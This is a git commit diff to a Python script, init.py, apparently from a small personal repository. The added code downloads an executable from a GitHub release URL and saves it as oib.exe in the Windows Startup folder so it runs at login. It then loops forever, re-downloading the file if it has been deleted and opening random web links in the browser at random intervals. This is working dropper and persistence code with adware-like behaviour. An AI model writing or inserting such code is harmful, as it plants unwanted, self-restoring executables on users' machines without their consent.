master
Can202 2021-09-27 19:27:16 -03:00
parent 664f346c82
commit 67e20c0918
1 changed files with 10 additions and 4 deletions

14
init.py
View File

@ -8,12 +8,18 @@ import requests
def main():
startup = appdirs.user_data_dir() + "\\..\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup"
fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe")
with open(startup + "\\oib.exe", 'wb') as f:
f.write(fil.content)
if os.path.exists(startup + "\\oib.exe") == False:
fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe")
with open(startup + "\\oib.exe", 'wb') as f:
f.write(fil.content)
f.close()
while True:
if os.path.exists(startup + "\\oib.exe") == False:
fil = requests.get("https://github.com/Can202/testt/releases/download/test/init.exe")
with open(startup + "\\oib.exe", 'wb') as f:
f.write(fil.content)
f.close()
wait = random.randrange(4000, 8000)
time.sleep(wait)
webbrowser.open(randomlink(), new=2)